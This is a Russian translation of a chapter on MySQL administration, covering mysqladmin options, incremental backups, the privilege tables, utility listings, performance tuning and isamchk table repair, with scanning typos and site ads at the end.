Выдача отладочной информации в журнал. Часто это 'd:t:o,FILENAME'.

-f

Не запрашивать подтверждение на удаление таблицы и переходить к следующей команде даже при невозможности выполнить эту.

-? или --help

Выдача подсказки по использованию утилиты msqladmin.

-С

Использовать сжатие в протоколе клиент/сервер.

-Н HOST

Подключиться к указанному компьютеру.

-р [PASSWORD]

Использовать указанный пароль для проверки прав пользователя.

Если пароль не указан, пользователю будет выдано приглашение для ввода пароля.

-Р PORT

Использовать для подключения указанный порт.

-i SECONDS

Повторно выполнять команды через заданный промежуток времени.

-s

Выйти без сообщений, если соединение с сервером невозможно установить.

-S SOCKET

Файл для использования в качестве сокета Unix.

-t TIMEOUT

Тайм-аут для соединения.

-u USER

Имя для регистрации пользователя, если оно отлично от текущего.

-V

Выдать информацию о версии и завершить работу.

-w COUNT

Ждать и повторить попытку заданное число раз, если сервер в данный момент не готов.

Резервирование данных

Нельзя переоценить важность регулярного резервирования данных. Без работоспособной резервной копии в результате аварии питания могут быть потеряны месяцы и годы работы. В то же время при хорошо спланированном резервировании можно за короткое время восстановить данные почти при любой аварии.

В главе 5 «mSQL» приводится подробное изложение роли команды msqldump при резервировании данных mSQL. MySQL поддерживает почти идентичную функциональность в виде команды mysqldump. Мы рекомендуем изучить этот пункт, чтобы понять роль mysqldump при полном резервировании баз данных. В данном параграфе мы остановимся на следующем наиболее важном виде резервирования - инкре-ментном резервировании.

Хотя технически полного резервирования данных вполне достаточно для восстановления после потери данных, его иногда трудно осуществить. Когда у вас много данных, файлы, необходимые для полного резервирования, могут занимать слишком большое дисковое пространство. Поэтому общепринято осуществлять полное резервирование раз в неделю или через небольшие промежутки времени, а ежедневно производить резервирование данных, изменившихся с момента последнего полного резервирования. Это называется инкрементным резервированием.

При использовании MySQL инкрементное резервирование можно производить, используя такую возможность сервера баз данных, как «update log» - журнал изменений MySQL. Если сервер баз данных mysqld запущен с параметром --log-update, то все изменения в базе данных будут сохраняться в файле в виде команд SQL. Изменения будут сохраняться в порядке их производства. В результате получается файл, который, будучи обработан монитором mysql, воспроизведет все действия, произведенные над базой данных. Если журнал хранится с самого образования базы данных, то будет восстановлен весь жизненный цикл базы данных, который приведет ее в текущее состояние.

С большей пользой журнал, ведущийся с некоторого определенного момента, например, от последнего резервирования базы данных, можно использовать для приведения резервной копии в текущее состояние. Такова технология инкрементного резервирования. Производите регулярное (скажем, раз в неделю) полное резервирование базы данных. Затем каждый день копируйте журнал изменений на магнитную ленту или выделенную область жесткого диска. Сохраняйте копии всех ежедневных журналов изменений, начиная с даты последнего полного резервирования. Это позволяет восстановить базу данных в случае аварии, а также все данные, утраченные с момента последнего резервирования. Поскольку журнал изменений является текстовым файлом, можно просмотреть команды SQL для поиска конкретных данных.

Каким бы методом вы не пользовались для резервирования, производите его часто и периодически проверяйте возможность реального восстановления своих данных. Многие администраторы баз данных старательно сохраняли резервные данные лишь для того, чтобы в один прекрасный день убедиться, что в результате ошибки - оператора, программы или носителя информации - их резервные копии стали абсолютно бесполезны.

Система безопасности

Вам не только нужно иметь надежный доступ к своим данным, но и быть уверенным, что у других нет никакого доступа к ним. MySQL использует собственный сервер баз данных для обеспечения безопасности. При первоначальной установке MySQL создается база данных под названием «mysql». В этой базе есть пять таблиц: db, host, user, tab-les_priv, и columns_priv . Более новые версии MySQL создают также базу данных с названием func, но она не имеет отношения к безопасности. MySQL использует эти таблицы для определения того, кому что позволено делать. Таблица user содержит данные по безопасности, относящиеся к серверу в целом. Таблица host содержит права доступа к серверу для удаленных компьютеров. И наконец, db, tables_priv и со-lumns_priv управляют доступом к отдельным базам данных, таблицам и колонкам.

Мы кратко рассмотрим все таблицы, поддерживающие безопасность в MySQL, а затем рассмотрим технологию их использования при обеспечении защиты ядром MySQL.

Таблица user

Таблица user имеет вид, показанный в Таблице 4-1:

Таблица 4-1. Таблица user

Поле | Тип | Null | Ключ | Значение | Примеч.
 |  |  |  | по умолчанию |
Host | char(60) |  | PRI |  |
User | char(16) |  | PRI |  |
Поле | Тип | Null | Ключ | Значение | Примеч.
 |  |  |  | по умолчанию |
Password | char(16) |  |  |  |
Select_priv | enum('N','Y') |  |  | N |
Insert priv | enum('N','Y') |  |  | N |
Update_priv | enum('N','Y') |  |  | N |
Delete_priv | enum('N','Y') |  |  | N |
Create_priv | enum('N','Y') |  |  | N |
Drop priv | enum('N','Y') |  |  | N |
Reload priv | enum('N','Y') |  |  | N |
Shutdown_priv | enum('N','Y') |  |  | N |
Process_priv | enum('N','Y') |  |  | N |
File_priv | enum('N','Y') |  |  | N |
Grant_priv | enum('N','Y') |  |  | N |
References_priv | enum('N','Y') |  |  | N |
Index_priv | enum('N','Y') |  |  | N |
Alter_priv | enum('N','Y') |  |  | N |

В колонках Host и User можно использовать символ «% », заменяющий произвольную последовательность символов. Например, имя узла «chem%lab» включает в себя «chembiolab», «chemtestlab» и т. д. Специальное имя пользователя «nobody» действует как одиночный «% », то есть охватывает всех пользователей, не упомянутых где-либо в другом месте. Ниже разъясняется смысл различных прав доступа:

Select_priv

Возможность выполнять команды SELECT.

Insert__priv

Возможность выполнять команды INSERT.

Update_priv

Возможность выполнять команды UPDATE.

Delete_priv

Возможность выполнять команды DELETE.

Createjyriv

Возможность выполнять команды CREATE или создавать базы данных.

Drop_priv

Возможность выполнять команды DROP для удаления баз данных.

Reload_priv

Возможность перезагружать информацию о доступе с помощью mysqladmin reload.

Shutdown_priv

Возможность останавливать сервер через mysqladmin shutdown.

Process_priv

Возможность управлять процессами сервера.

File_priv

Возможность читать и записывать файлы с помощью команд типа SELECT INTO OUTFILE и LOAD DATA INFILE.

Grant_priv

Возможность давать привилегии другим пользователям.

Index_priv

Возможность создавать и уничтожать индексы.

Alter_priv

Возможность выполнять команду ALTER TABLE.

В MySQL есть специальная функция, позволяющая скрыть пароли от любопытных глаз. Функция password() зашифровывает пароль. Ниже показано, как использовать функцию password() в процессе добавления пользователей в систему.

INSERT INTO user (Host, User, Password, Select_priv,

Insert_priv, Update_priv, Dclete_priv)

VALUES ('%', 'bob', password('mypass'), 'Y', 'Y', 'Y'.'Y')

INSERT INTO user (Host, User, Password, Select_priv)

VALUES ('athens.imaginary.com', 'jane', '', 'Y')

INSERT INTO user (Host, User, Password)

VALUES ('%', 'nobody', ")

INSERT INTO user (Host, User, Password, Select_pnv,

Insert_priv, Updatejriv, Delete_priv)

VALUES ('athens.imaginary.com', 'nobody',

password('thispass'), 'Y', 'Y', 'Y', 'Y')

Имена пользователей MySQL обычно не связаны с именами пользователей операционной системы. По умолчанию кли-ентские средства MySQL используют при регистрации имена пользователей операционной системы. Для них, однако, не требуется обязательного соответствия. В большинстве клиентских приложений MySQL можно с помощью параметра -и подключиться к MySQL, используя любое имя. Точно так же ваше имя как пользователя операционной системы не появится в таблице user, если не будет специально включено в нее с присвоением прав.

Первый созданный нами пользователь, «bob», может подключаться к базе данных с любого компьютера и выполнять команды SELECT, INSERT, UPDATE и DELETE. Второй пользователь, «jane», может подключаться с «athens.imaginary.com», не имеет пароля и может выполнять только SELECT. Третий пользователь - «nobody» - с любой машины.'Этот пользователь вообще ничего не может делать. Последний пользователь -«nobody» - с машины «athens.imaginary.com», он может выполнять SELECT, INSERT, UPDATE и DELETE, как и пользователь «bob.»

Как MySQL производит сопоставление? Возможно, вы обратили внимание, что некоторое имя может соответствовать на деле нескольким записям. Например, «nobody@athens.imaginary.com» соответствует и «nobody@%», и «nobody@athens.imaginary.com». Прежде чем осуществлять поиск в таблице user, MySQL сортирует данные следующим образом:

  1. Сначала ищется соответствие для узлов, не содержащих масок « % », при этом пустое поле Host трактуется как «% ».
  2. Для одного и того же узла сначала проверяется соответствие имен, не содержащих масок. Пустое поле User трактуется как содержащее «%».
  3. Первое найденное соответствие считается окончательным.

В предыдущем примере пользователь сначала будет сравниваться с «nobody» из «athens.imagmary.com», поскольку «athens.imaginary.com» в порядке сортировки стоит выше «% ». Поскольку имена компьютеров сортируются раньше имен пользователей, значения привилегий для компьютера, с которого вы подключаетесь, имеют приоритет перед любыми конкретными правами, которые у вас могут быть. Например, если таблица user содержит записи:

Host | User
% athens .imaginary .com | jane

и jane подключается с «athens.imaginary.com», то MySQL будет использовать привилегии, данные «athens.imaginary.com».

Таблица db

Вы могли обратить внимание, что в таблице user не упоминаются конкретные базы данных и таблицы. Таблица user управляет сервером в целом. Однако на сервере обычно находится несколько баз данных, которые служат различным целям и, соответственно, обслуживают разные группы пользователей. Права доступа к отдельным базам данных хранятся в таблице db. Эта таблица имеет структуру, представленную в таблице 4-2:

Таблица 4-2. Таблица db

Поле | Тип | Null | Ключ | Значение по умолчанию | Примеч.
Host | char(60) |  | PRI |  |
Db | char(32) |  | PRI |  |
User | char(16) |  | PRI |  |
Select priv | enum('N','Y') |  |  | N |
Insert_priv | enum('N','Y') |  |  | N |
Update_priv | enum('N','Y') |  |  | N |
Delete priv | enum('N','Y') |  |  | N |
Create_priv | enum('N','Y') |  |  | N |
Drop_priv | enum('N','Y') |  |  | N |
Referen- | enum('N','Y') |  |  | N |
ces_priv |  |  |  |  |
Index_priv | enum('N','Y') |  |  | N |
Alter_priv | enum('N','Y') |  |  | N |

Эта таблица во многом похожа на таблицу user. Основное отличие в том, что вместо колонки Password имеется колонка Db. Таблица управляет правами пользователей в отношении определенных баз данных. Поскольку привилегии, указанные в таблице user, относятся ко всему серверу в целом, права, присвоенные пользователю в таблице user, перекрывают права, присвоенные тому же пользователю в таблице db. Например, если пользователю в таблице user разрешают доступ типа INSERT, это право действует в отношении всех баз данных, вне зависимости от того, что указано в таблице db.

Наиболее эффективно создание в таблице user записей для всех пользователей, в которых не даны никакие права. В этом случае пользователь может лишь подключиться к серверу, не выполняя никаких действий. Исключение делается только для пользователя, назначенного администратором сервера. Все остальные должны получить права доступа через таблицу db. Каждый пользователь должен присутствовать в таблице user, иначе он не сможет подключаться к базам данных.

Те же правила, которые действуют в отношении колонок User и Host в таблице user, действуют и в таблице db, но с некоторой особенностью. Пустое поле Host вынуждает MySQL найти запись, соответствующую имени узла пользователя, в таблице host. Если такой записи не найдено, MySQL отказывает в доступе. Если соответствие найдено, MySQL определяет права как пересечение прав, определяемых таблицами host и db. Иными словами, в обеих записях разрешение должно иметь значение «Y», иначе в доступе отказывается.

Таблица host

Таблица host служит особой цели. Ее структура показана в таблице 4-3:

Таблица 4-3. Таблица Host

Поле | Тип | Null | Ключ | Значение по умолчанию | Примеч.
Host | char(60) |  | PRI |  |
Db | char(32) |  | PRI |  |
Select_priv | enum('N','Y') |  |  | N |
Insert_priv | enum('N','Y') |  |  | N |
Update_priv | enum('N','Y') |  |  | N |
Delete_priv | enum('N','Y') |  |  | N |
Create_priv | enum('N','Y') |  |  | N |
Drop_priv | enum('N','Y') |  |  | N |
Grant_priv | enum('N','Y') |  |  | N |
Referen- | enum('NYY') |  |  | N |
ces_priv |  |  |  |  |
Index_priv | enum('N','Y') |  |  | N |
Alter_priv | enum('N','Y') |  |  | N |

Таблица host позволяет задать основные разрешения на межкомпьютерном уровне. При проверке прав доступа MySQL ищет в таблице db соответствие имени пользователя и его машине. Если он находит запись, соответствующую имени пользователя, поле host которой пусто, MySQL обращается к таблице host и использует пересечение обоих прав для определения окончательного права доступа. Например, у вас может быть группа серверов, которые вы считаете менее защищенными, чем остальная часть сети. Вы можете запретить для них все права записи. Если «bob» заходит с одной из таких машин, и его запись в таблице db содержит пустое поле host, ему будет запрещена операция записи, даже если она разрешена ему согласно таблице db.

Таблицы tables_priv и colums_priv

Эти две таблицы, по сути, уточняют данные, имеющиеся в таблице db. Именно, право на всякую операцию сначала проверяется по таблице db, затем по таблице tables_priv , затем по таблице columns_priv . Операция разрешается, если одна из них дает разрешение. С помощью этих таблиц можно сузить область действия разрешений до уровня таблиц и колонок. Управлять этими таблицами можно через команды SQL GRANT и REVOKE.

Последовательность контроля доступа

Теперь вы знаете, какие элементы участвуют в системе защиты MySQL. Соединим их вместе и покажем, как можно ими пользоваться в реальных ситуациях. MySQL осуществляет контроль доступа в два этапа. Первый этап - подключение. Необходимо подключиться к серверу, прежде чем пытаться что-либо сделать.

При подключении проводятся две проверки. Сначала MySQL проверяет, есть ли в таблице user запись, соответствующая имени пользователя и машины, с которой он подключается. Поиск соответствия основывается на правилах, которые мы обсудили раньше. Если соответствие не найдено, в доступе отказывается. В случае когда соответствующая запись найдена и имеет непустое поле Password , необходимо ввести правильный пароль. Неправильный пароль приводит к отклонению запроса на подключение.

Если соединение установлено, MySQL переходит к этапу верификации запроса. При этом сделанные вами запросы сопоставляются с вашими правами. Эти права MySQL проверяет по таблицам user, db, host, tables_priv и columns__priv . Как только найдено соответствие в таблице user с положительным разрешением, команда немедленно выполняется. В противном случае MySQL продолжает поиск в следующих таблицах в указанном порядке:

  1. db
  2. tables_priv
  3. columns_priv

Если таблица db содержит разрешение, дальнейшая проверка прекращается и выполняется команда. Если нет, то MySQL ищет соответствие в таблице tables_priv . Если, к примеру, это команда SELECT, объединяющая две таблицы, то пользователь должен иметь разрешения для обеих этих таблиц. Если хотя бы одна из записей отказывает в доступе или отсутствует, MySQL точно таким же способом проверяет все колонки в таблице columns_priv .

Утилита mysqlaccess

Освоение системы защиты MySQL поначалу может показаться вам затруднительным. Несколько упрощает дело имеющаяся в MySQL утилита mysqlaccess. Эта команда является сценарием на языке Perl , который, исходя из имен машины, пользователя и базы данных, точно показывает, что данный пользователь может делать и почему. Например, команда mysqlaccess nobody isp.com mydata может вывести следующее:

Access-rights

for USER 'nobody', from HOST 'isp.com', to DB 'mydata'

BEWARE: Everybody can access your DB as user 'nobody'

: from host 'isp.com' WITHOUT supplying a password. : Be very careful about it!!

The following rules are used: db : 'isp.com','mydata','nobody','Y','Y','Y','Y','N',

'N','N','N','N','N'

host : 'Not processed: host-field is not empty in db-table.'

user : '%', 'nobody', ", 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N'

(Выводится, в частности, предупреждение о том, что база доступна любому, регистрирующемуся как «nobody» с машины «isp.com» без ввода пароля, в связи с чем нужно проявлять осторожность.)

Как видите, даже если вы полностью разобрались с системой безопасности MySQL, утилиту mysqlacces полезно использовать для контроля системы безопасности вашего сервера.

Изменение прав доступа

MySQL загружает таблицы доступа при запуске сервера. Преимуществом такого подхода по сравнению с динамическим обращением к таблицам является скорость. Отрицательная сторона состоит в том, что изменения, производимые в таблицах доступа MySQL, не сразу начинают действовать. Для того чтобы сервер увидел эти изменения, необходимо выполнить команду mysqladmin reload. Если таблицы изменяются с помощью SQL-команд GRANT или REVOKE, явно перегружать таблицы не требуется.

По каким-то причинам в некоторых дистрибутивах MySQL сценарий mysqlaccess указывает на нестандартное расположение исполняемых файлов Perl. Если при попытке выполнить mysqlaccess вы получаете сообщение «command not found», то это, скорее всего, ваш случай. Вам необходимо изменить строку 1 сценария mysqlaccess, чтобы она указывала на правильный путь к Perl, обычно /usr/local/bin/perl.

Утилиты MySQL

ТсХ распространяет MySQL с большим набором вспомогательных утилит, однако набор утилит, предлагаемых сторонними разработчиками, еще богаче. В этом параграфе мы постараемся дать краткий обзор этих инструментов, отложив полное описание до главы 18 «Справочник по РНР и Lite».

Утилиты командной строки (Command Line Tools)

isamchk

Производит проверку файлов, содержащих данные базы. Эти файлы называются ISAM-файлами (ISAM - метод индексированного последовательного доступа). Эта утилита может устранить большую часть повреждений ISAM-файлов. Мы подробнее опишем ее ниже.

isamlog

Читает создаваемые MySQL журналы, относящиеся к ISAM-файлам. Эти журналы можно использовать для воссоздания таблиц или воспроизведения изменений, внесенных в таблицы в течение некоторого промежутка времени.

mysql

Создает прямое подключение к серверу баз данных и позволяет вводить запросы непосредственно из приглашения MySQL.

mysqlaccess

Модифицирует таблицы прав доступа MySQL и отображает их в

удобном для чтения виде. Использование этой утилиты — хороший способ изучения структуры таблиц доступа MySQL.

mysqladmin

Осуществляет административные функции. С помощью этой утилиты можно добавлять и удалять целые базы данных, а также завершать работу сервера.

mysqlbug

Составляет для ТсХ отчет о возникшей в MySQL неполадке. Отчет будет также послан в почтовый список рассылки MySQL, и армия добровольцев MySQL будет исследовать проблему.

mysqldump

Записывает все содержимое таблицы, включая ее структуру, в файл в виде SQL-команд, которыми можно воссоздать таблицу. Выходные данные этой утилиты можно использовать для воссоздания таблицы в другой базе или на другом сервере.

mysqlimport

Считывает данные из файла и вводит их в таблицу базы данных. Это должен быть файл с разделителями, где разделитель может быть любого обычного вида, например, запятая или кавычки.

mysqlshow

Выводит на экран структуру баз данных, имеющихся на сервере, и таблицы, из которых они состоят.

Утилиты сторонних разработчиков

Ни один поставщик или разработчик не может самостоятельно предоставить все необходимые для программного продукта средства поддержки. Продукты с открытым исходным кодом, такие как Linux, имели столь потрясающий успех не только благодаря проделанной Линусом Торвальдсом работе по созданию ядра Linux, но и благодаря сотням, если не тысячам, программ для Linux сторонних разработчиков. MySQL также значительно выиграл от работы подобных добровольцев. Хотелось бы перечислить все имеющиеся программы, но этот перечень ежедневно меняется. Ниже мы попытались составить представление о том, что имеется в наличии. За самым свежим списком обратитесь на домашнюю страницу MySQL: http://www.mysql.com/Contrib.

Утилиты преобразования баз данных

access_to_mysql

Преобразует базы данных Microsoft Access в таблицы MySQL. Включается в Access в виде функции, позволяющей сохранять таблицы в формате, позволяющем экспортировать их в MySQL.

dbf2mysql

Конвертирует файлы dBASE (DBF) в таблицы MySQL. Хотя dBASE утратил популярность, формат DBF установился как наиболее распространенный для передачи данных между различными приложениями баз данных. Все главные настольные приложения баз данных могут читать и писать DBF-файлы. Это приложение полезно для экспорта/импорта данных в коммерческие настольные базы данных.

Export sql/Importsql

Конвертирует базы данных Microsoft Access в MySQL и обратно. Эти утилиты являются функциями Access, которые можно использовать для экспорта таблиц Access в формате, пригодном для чтения MySQL. С их помощью можно также преобразовывать SQL-выход MySQL в вид, пригодный для чтения Access.

Интерфейсы CGI

РНР

Создает HTML-страницы с использованием специальных тегов, распознаваемых анализатором РНР. РНР имеет интерфейсы к большинству основных баз данных, включая MySQL и mSQL. Мы более подробно расскажем о РНР в главе 12 «РНР и другие средства поддержки управления HTML со стороны баз данных».

Mysql-webadmin

Осуществляет веб-администрирование баз данных MySQL. Используя это средство, можно просматривать таблицы и изменять их содержимое с помощью HTML-форм.

Mysqladm

Осуществляет веб-администрирование баз данных MySQL. Эта CGI-программа позволяет просматривать таблицы через WWW, добавлять таблицы и изменять их содержимое.

www-sql

Создает HTML-страницы из таблиц баз данных MySQL. Эта программа осуществляет разбор HTML-страниц в поисках специальных тегов и использует извлеченные данные для выполнения команд SQL на сервере MySQL.

Клиентские приложения

Mysqlwinadmn

Позволяет администрировать MySQL из Windows. С помощью этого средства можно выполнять функции mysqladmin из графического интерфейса.

xmysql

Обеспечивает полный доступ к таблицам баз данных MySQL для клиента X Window System. Поддерживает групповые вставки и удаления.

xmysqladmin

Позволяет осуществлять администрирование MySQL из X Window System. Это инструмент для графического интерфейса, позволяющий создавать и удалять базы данных и управлять таблицами. С его помощью можно также проверять, запущен ли сервер, перегружать таблицы доступа и управлять потоками.

Интерфейсы программирования

MyODBC

Реализует ODBC API к MySQL в Windows.

Db.py

Обеспечивает доступ MySQL к сценариям Python. Для повышения производительности этот модуль осуществляет буферизацию извлекаемых данных. Программирование на Python для MySQL мы излагаем в главе 11, а подробное справочное руководство по Python представлено в главе 20.

Vdb-dflts

Реализует библиотеку Vdb для MySQL. Vdb - не зависящий от типа базы данных API для С, позволяющий единому клиенту иметь доступ к различным серверам баз данных. Клиенты Vdb могут использовать этот API для досупа к базам данных MySQL.

Delphi-interface

Предоставляет API доступа к MySQL для среды Delphi, выпускаемой Inprise. С помощью этого API любое приложение Delphi получает доступ к базам данных MySQL.

dump2h

Преобразует структуры таблиц MySQL в файлы заголовков С. Эта программа принимает обычный файл, создаваемый mysqldump и генерирует заголовочный файл С, описывающий таблицу в виде структуры (st ruct) на С.

mm.mysql.jdbc

Реализует стандартный API JDBC (Java Database Connectivity -доступ к базам данных из Java). В главе 14 «Java и JDBC» подробно обсуждается программирование на Java с использованием этого API, а в главе 22 «Справочник по JDBC» представлено полное справочное руководство по JDBC 2.0.

twzJdbcForMysql

Реализация JDBC API для Java.

Mysqltcl

Реализует интерфейс Tel к MySQL.

MySQLmodule

Реализует доступ к MySQL из Python.

Mysql-c++

Объектно-ориентированная оболочка MySQL С API для доступа из приложений на C++.

MySQL++

Обеспечивает объектно-ориентированный доступ к MySQL для приложений на C++,

Pike-mysql

Позволяет пользователям известного веб-сервера Roxen разрабатывать интернет-приложения с доступом к MySQL.

Sqlscreens

Генерирует экраны баз данных на Tcl/Tk на основе баз данных MySQL. Позволяет разработчикам строить специализированные . GUI, привязанные к таблицам MySQL.

Squile

Позволяет создавать сценарии на Guile для доступа к таблицам MySQL.

Wintcl

Поддерживает встраивание кода Tel в HTML-файлы. С помощью этого средства легко разрабатывать веб-приложения, способные осуществлять доступ к базам данных MySQL.

Разное

Emacs-sql-mode

Адаптирует стандартный режим SQL для Emacs для поддержки особенностей синтаксиса SQL в MySQL. Вводит отступы, выделяет синтаксис и довершает команды, что облегчает работу с SQL.

findres

Отыскивает в таблицах MySQL зарезервированные слова. Эта-программа ищет в таблицах MySQL зарезервированные слова SQL, которые могут нарушить правильную работу других баз данных, поддерживающих SQL.

Hyalog

Сохраняет в таблице MySQL исходящие факсимильные сообщения. Эта программа отслеживает факсы, отправляемые программой HylaFax, и сохраняет их копии в базе данных MySQL.

mod_auth_mysql

Осуществляет аутентификацию пользователей сервера Apache. Обычно Apache осуществляет контроль доступа с помощью простых текстовых файлов, содержащих имена пользователей и зашифрованные пароли. Данный модуль позволяет управлять доступом через базу данных MySQL.

mod_log_mysql

Регистрирует трафик WWW, проходящий через сервер Apache, в базе данных MySQL.

mysqlpasswd

Обеспечивает добавление, удаление и изменение записей о пользователях, хранимых в MySQL модулем mod_auth_mysql из состава Apache.

Mysql_watchdog

Осуществляет контроль за MySQL с целью обеспечения его непрерывного функционирования с нормальными параметрами.

Nsapi_auth_mysql

Аутентифицирует пользователей на веб-сервере Netscape.

Pam_mysql

Предоставляет интерфейс РАМ (Pluggable Authentication Module -подключаемый модуль аутентификации) к MySQL. РАМ обеспечивает проверку пользователей для ряда служб, включая стандартную регистрацию в системе.

Wuftpd-mysql

Позволяет регистрировать в базе данных MySQL трафик FTP через демон WuFTP.

Настройка производительности

Разница между хорошим администратором баз данных и первоклассным администратором состоит в том, что один знает, как управлять сервером баз данных, а второй знает, как сервер живет и дышит. Решение проблем производительности часто лежит на пути глубокого понимания того, как работает MySQL, что дает возможность оптимизировать работу приложения, используя все возможности сервера.

MySQL имеет три потенциальных «узких места» при любом подключении. Во-первых, это сетевое соединение клиента с сервером. Во-вторых, это время решения таких задач, как, скажем, построение индексов. И наконец, проблема может быть связана с дисковым вводом/выводом. MySQL предоставляет доступ к переменным, с помощью которых ее функционирование можно настроить в соответствии со средой приложения. Все эти переменные можно установить, используя параметр -О в команде mysqld. Например, переменная back_log принимает значение 15 в результате добавления к mysqld параметра -О backjtog=15. Ниже следует список полезных переменных.

bach_log

Количество одновременных подключений по TCP/IP в очереди. При наличии большого числа удаленных пользователей, одновременно подключающихся к вашей базе данных, может потребоваться увеличить это число. Отрицательной стороной большого значения является некоторый рост использования памяти и загрузки ЦП.

key_buffer

Буфер, выделяемый для хранения последних использовавшихся ключей. Если запросы выполняются слишком медленно, увеличение этого значения может оказаться благотворным. Отрицательный эффект - увеличение расхода памяти.

max Connections

Число одновременных соединений, разрешенное сервером баз данных. Если при активной работе пользователи иногда получают отказ в доступе, возможно, это число следует увеличить. Отрицательное последствие - увеличение загрузки сервера, то есть рост использования ЦП, расхода памяти и дискового ввода/вывода.

table_cache

Буфер, используемый для хранения данных, к которым происходит частое обращение. Если выделить под них память, то резко сокращается объем обращений к диску. Отрицательный эффект - существенное увеличение расхода памяти.

Структура хранения данных в MySQL

Для хранения каждой таблицы MySQL используется три файла. Например, средних размеров таблица mytable может выглядеть так:

-rw-rw-- - 1 root root 1034155 Jun 3 17:08 mytable.ISD

-rw-rw---- 1 root root 50176 Jun 3 17:08 mytable.ISM

-rw-rw-- - 1 root root 9114 Jun 3 14:24 mytable.frm

В файле ISD хранятся фактические данные. В файле ISM хранятся данные о ключах и прочие внутренние данные, необходимые MySQL для быстрого поиска данных в файле ISD. Файл f rm содержит структуру самой таблицы.

Файл ISM наиболее важен для функционирования MySQL. Он настолько важен, что ему посвящена целая утилита isamchk. Запуск isamchk -d выводит сведения о таблице:

# isamchk -d mytable

ISAM file: mytable

Data records: 1973 Deleted blocks: 0

Recordlength: 343

Record format: Packed

table description:

Key Start Len Index Type

1 2 50 unique text packed stripped

Важное поле, которое нужно отметить, это «Deleted blocks» (удаленные блоки). Если его значение слишком велико, то файл понапрасну занимает много лишнего места. К счастью, это пространство можно освободить. В результате выполнения следующей команды таблица будет просмотрена и создана заново, при этом будут в большинстве своем устранены ошибки и высвобождено свободное пространство:

isamchk -r mytable

Еще большего увеличения скорости можно добиться, применив к таблице команду Isamchk -а. Эта команда анализирует размещение данных в таблице. Ее следует выполнить после вставки или удаления большого числа записей.

Восстановление поврежденных таблиц

При авариях сервера или по другим естественным причинам таблица базы данных может оказаться поврежденной. С помощью isamchk обеспечивается несколько уровней восстановления:

isamchk mytable

При запуске isamchk во время работы сервера может потребоваться выполнить mysqladmin reload, чтобы сервер «увидел» исправленную таблицу.

Эта команда исправляет большинство обычных ошибок в таблице. Добавление параметров -г и -v приводит к выводу дополнительных сведений о том, что было нарушено. Использование нескольких -и увеличивает подробность вывода сведений.

isamchk -rq mytable

Эта команда осуществляет быструю проверку и при необходимости исправление только файла ISM, файл ISD при этом не проверяется.

isamchk -e mytable

С этим параметром производится полная проверка и исправление всего, что можно, и устранение любых повреждений. Такая проверка обычно производится значительно дольше, чем обычная. Выполнение команды прекращается в момент столкновения с первой серьезной ошибкой. Для продолжения проверки даже после нахождения серьезных повреждений передается параметр -v. Тем самым гарантируется отсутствие повреждений в результирующей таблице, но при этом может произойти потеря некоторых данных.

Прежде чем выполнять команду, способную изменить содержимое таблицы, всегда делайте резервную копию данных. Утилита isamchk очень хороша для исправления ошибок, но иногда это означает уничтожение поврежденных данных, входящих в конфликт с остальными данными таблицы. При наличии резервной копии можно восстановить данные, уничтоженные утилитой isamchk.

Удаление и замена ключей

Иногда ключи замедляют скорость работы с базой данных. Если, к примеру, вы намерены ввести большой объем данных, индексирование ключей после каждой вставки может оказаться очень неэффективным. Кроме того, если ваша таблица имеет поврежденные ключи, в результате безоглядного исправления таблицы утилитой isamchk может произойти потеря данных, связанных с ключом.

В этих случаях оказывается полезным временное удаление ключей из таблицы и воссоздание их после завершения опасной работы. Следующая команда удаляет ключи из таблицы:

isamchk -rq -k0

Если вы готовы снова вставить ключи, это можно сделать командой:

isamchk -rq

Прежде чем ввести команду isamchk с параметром -r, завершите работу сервера, иначе таблица может оказаться повреждений.

Команда isamchk предоставляет столько возможностей, что вам, вероятно, станет сложно разобраться во всех них. Следует, однако, руководствоваться следующими соображениями:

  • Если база данных новая, почаще выполняйте isamchk, -а. В большинстве приложений баз данных основной массив данных вводится в начале существования базы. Если выполнять isamchk с параметром, указывающим на необходимость анализа данных всякий раз, когда размер базы данных удваивается, можно быть уверенным в эффективности хранения данных.
  • Раз или два в год выполняйте команду isamchk -d. Если число удаленных блоков в ваших таблицах составляет существенную часть дискового пространства, выполните isamchk -r для перестройки таблиц с высвобождением ненужного места. Если ваше приложение таково, что приходится удалять много старых данных и вводить новые, выполняйте isamchk -d каждые две недели, а если число удаленных блоков быстро растет, может понадобиться выполнять isamchk -r регулярно - раз в месяц.
  • За исключением операций удаления и замены ключей, которые нужно производить всякий раз, когда одновременно вводился несколько десятков записей, все остальные виды isamchk следует выполнять только в ответ на появившуюся в базе данных несовместность.

Устранение неполадок

Даже в самых совершенных программах возникают проблемы. К счастью, многие из проблем, с которыми вы можете столкнуться, уже с кем-то случались. Ниже приводится ряд часто встречавшихся проблем при администрировании MySQL.

Изменения в таблицах доступа не действуют.

Не забывайте выполнять команду mysqladmin reload после внесения изменений в таблицы доступа.

При высокой загрузке MySQL отказывает в подключении.

  1. Сначала уточните число соединений, допускаемых сервером. Команда mysqladmin variables покажет его значение в поле max_connec-tions. Можно увеличить это число, запустив mysqld с параметром -О max_connections=###, где ### - предел, который вы хотите установить.
  2. Можно также проверить значение back_log , которое определяет размер очереди, создаваемой MySQL для входящих соединений, равное 5 по умолчанию. Версии MySQL до 3.22 позволяли увеличить это значение до 64, но в более поздних версиях его можно увеличить до 1024. Однако оно может быть ограничено до 64 вашей операционной системой.
  3. Наконец, эта проблема может быть вызвана ограничением числа дескрипторов файлов. Симптомом этого является полный отказ в подключениях при запуске MySQL большого числа потоков. Unix-системы позволяют устанавливать число дескрипторов файлов разными способами, поэтому следует справиться в системной документации о том, как это сделать.

MySQL сообщает о невозможности найти файл, который явно существует, или сообщает об ошибках во время его чтения.

В большинстве случаев эта проблема связана с числом дескрипторов файлов, о котором говорилось выше. Однако если увеличить буфер таблиц MySQL, ему не потребуется открывать так много файлов, и вы сможете избавиться от этой проблемы. По умолчанию величина буфера таблиц равна 64. Можно увеличить его через значение переменной table_cache .

Число потоков начинает расти, и потоки не завершаются,

В некоторых системах с установленным NFS, а также в Linux, есть проблемы с механизмом блокировки файлов. Результатом может быть замораживание потоков. Команда mysqladmin processlist поможет выявить эту проблему. Если в поле «Command» против замороженных потоков стоит «System lock», запустите mysqld с параметром --skip_ locking.

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №5. mSQL
    • Архитектура
    • Версии mSQL
    • Установка mSQL
    • Запуск mSQL
    • Администрирование баз данных
